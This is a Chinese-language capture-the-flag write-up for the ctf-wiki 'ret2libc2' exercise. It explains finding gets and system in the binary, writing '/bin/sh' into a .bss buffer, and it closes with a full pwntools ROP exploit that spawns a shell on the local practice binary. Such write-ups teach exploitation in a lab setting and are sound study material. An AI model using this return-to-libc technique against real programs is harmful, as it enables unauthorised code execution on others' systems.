ret2libc2

ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec 查看程序保护机制
顺便查看有没有"/bin/sh"字符串,并没有找到
ret2libc2
文章图片
ida,main ,f5,发现 gets 函数(危险函数),顺便查看 gets 函数的地址为0x08048460
ret2libc2
文章图片

ret2libc2
文章图片
shift+f12查找,发现只有system函数,地址为0x08048490,并没有"/bin/sh"的存在

ret2libc2
文章图片
结合 system 函数且找不到字符 "/bin/sh" 可以猜想应该是需要自己写入字符 "/bin/sh"
在bss段中查找可写的东西,发现buf2

ret2libc2
文章图片

通过将 "/bin/sh" 写入buf2,再将buf2的地址作为system的参数传入来获取shell
求偏移量为112
ret2libc2
文章图片

利用 ROPgadget 查找带 ret 的语句,得 ebx 地址为 0x0804843d
ret2libc2
文章图片

payload写法
payload1:根据栈的原理
payload2:根据堆栈平衡
参见 https://www.jianshu.com/p/c4780335b842
一般堆栈平衡适用于连续调用多个函数。
exp(根据payload2)

#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import*sh = process('./ret2libc2') gets_plt = 0x08048460 system_plt = 0x08048490 buf2 = 0x0804A080 pop_ebx = 0x0804843dpayload = flat(["a"*112,gets_plt,pop_ebx,buf2,system_plt,"aaaa",buf2]) sh.sendline(payload) sh.sendline('/bin/sh') sh.interactive()

【ret2libc2】exp 运行

ret2libc2
文章图片

    推荐阅读